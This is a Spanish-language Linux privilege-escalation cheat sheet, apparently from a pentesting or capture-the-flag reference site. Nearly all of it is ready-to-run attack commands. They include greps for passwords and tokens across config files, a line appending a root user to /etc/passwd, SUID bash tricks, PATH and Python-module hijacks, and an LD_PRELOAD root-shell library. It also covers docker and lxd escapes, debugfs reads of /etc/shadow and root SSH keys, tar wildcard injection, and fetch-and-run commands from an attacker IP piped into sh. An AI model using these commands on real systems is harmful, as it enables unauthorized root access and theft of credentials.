Escalada de privilegios en Linux

Ve de arriba abajo; la mayoría de máquinas fáciles y medias caen en las tres primeras secciones. Para explotar un binario concreto, mira la chuleta de binarios Linux.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Comprobaciones

Quién soy y dónde estoy

Usuario y grupos
id; whoami; groups
Sistema y kernel
uname -a; cat /etc/os-release
Usuarios con shell
grep -E 'sh$' /etc/passwd

Sudo, SUID y capabilities

Qué puedo ejecutar con sudo
sudo -l
Binarios SUID
find / -perm -4000 -type f 2>/dev/null
Binarios SGID
find / -perm -2000 -type f 2>/dev/null
Capabilities
getcap -r / 2>/dev/null

cap_setuid, cap_dac_read_search o cap_sys_admin en un intérprete suelen ser root directo.

Versión de sudo (CVE-2021-3156, Baron Samedit)
sudo -V | head -1

Tareas y procesos

Cron del sistema
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily 2>/dev/null
Temporizadores de systemd
systemctl list-timers --all
Procesos de root
ps -eo user,pid,cmd --forest | grep -v '\[' | grep ^root
Ver procesos que se lanzan solos (pspy)
wget http://10.10.14.5/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
Sin pspy (bash)
old=$(ps -eo cmd); while true; do new=$(ps -eo cmd); diff <(echo "$old") <(echo "$new") | grep '^[<>]'; old=$new; sleep 1; done

Red y servicios internos

Puertos que solo escuchan en local
ss -tulnp | grep 127.0.0.1
Sin ss ni netstat
for p in $(awk 'NR>1 && $4=="0A" {split($2,a,":"); print a[2]}' /proc/net/tcp | sort -u); do echo $((16#$p)); done

Lista los puertos en escucha. Para llegar a ellos desde tu máquina, mira la chuleta de pivoting.

Credenciales

Contraseñas en ficheros de configuración
grep -rniE '(pass(word)?|pwd|secret|token)\s*[=:]' /var/www /opt /etc /home 2>/dev/null | grep -v '^Binary'
Ficheros de configuración típicos
find / \( -name '*.conf' -o -name '*.config' -o -name '.env' -o -name 'wp-config.php' -o -name '*.kdbx' \) -readable 2>/dev/null | grep -vE '^/(proc|sys|usr/share)'
Historiales
cat ~/.*history 2>/dev/null; ls -la /home/*/
Bases de datos SQLite
find / -name '*.db' -o -name '*.sqlite' 2>/dev/null | grep -vE '^/(proc|sys|usr)'
Reutilización de contraseñas
su root

Prueba cada contraseña que encuentres con root y con el resto de usuarios.

Permisos de escritura

Ficheros que puedo escribir fuera de mi home
find / -writable -type f 2>/dev/null | grep -vE '^/(proc|sys|dev|run|home|tmp|var/tmp)'
¿Puedo escribir /etc/passwd?
ls -l /etc/passwd /etc/shadow /etc/sudoers

Scripts automáticos

linPEAS
curl -L http://10.10.14.5/linpeas.sh | sh

Descárgalo de github.com/peass-ng/PEASS-ng y sírvelo con python3 -m http.server 80.

Explotación

Abusos rápidos

Añadir un usuario root si /etc/passwd es escribible
echo "pwn:$(openssl passwd -6 pwn123):0:0::/root:/bin/bash" >> /etc/passwd && su pwn
Bash con SUID tras tener escritura como root
chmod u+s /bin/bash
bash -p

PATH hijacking

Cuando un script o binario de root llama a un comando sin ruta absoluta (ps en vez de /bin/ps).

Encontrar llamadas sin ruta
strings /usr/local/bin/binario | grep -vE '^/'
Suplantar el comando
echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /tmp/ps
chmod +x /tmp/ps
export PATH=/tmp:$PATH

Secuestro de librerías

Módulo de Python suplantado
echo 'import os; os.system("chmod u+s /bin/bash")' > /ruta/del/script/random.py

Si sudo ejecuta un script de Python que importa random y puedes escribir en su carpeta (o en una ruta de sys.path anterior).

LD_PRELOAD con sudo (env_keep+=LD_PRELOAD)
cat > /tmp/x.c << 'FIN'
#include <stdlib.h>
#include <unistd.h>
void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); }
FIN
gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c
sudo LD_PRELOAD=/tmp/x.so programa_permitido

Grupos privilegiados

docker
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
lxd / lxc
lxc init alpine pwn -c security.privileged=true
lxc config device add pwn raiz disk source=/ path=/mnt/root recursive=true
lxc start pwn && lxc exec pwn /bin/sh

Necesitas una imagen de alpine importada (lxc image import) si la máquina no tiene internet.

disk
debugfs /dev/sda1

Dentro de debugfs: cat /etc/shadow o cat /root/.ssh/id_rsa. Mira el disco con df -h.

adm (leer logs)
grep -riE 'pass|login' /var/log 2>/dev/null

Comodines y enlaces simbólicos

tar con comodín en un cron de root
echo 'chmod u+s /bin/bash' > x.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh x.sh'
Enlace simbólico a un fichero de root
ln -sf /root/.ssh/id_rsa /tmp/fichero_que_copia_root

NFS con no_root_squash

Ver la configuración Víctima
cat /etc/exports
Crear un bash SUID desde tu máquina Atacante
sudo mount -t nfs VICTIMA:/compartido /mnt/nfs
sudo cp /bin/bash /mnt/nfs/ && sudo chmod u+s /mnt/nfs/bash

Luego, en la víctima: /compartido/bash -p. Copia un bash compatible con la versión de la víctima.

Kernel

PwnKit (pkexec, CVE-2021-4034)
ls -l /usr/bin/pkexec && pkexec --version
DirtyPipe (5.8 a 5.16.11, CVE-2022-0847)
uname -r
Sugerencias automáticas
./linux-exploit-suggester.sh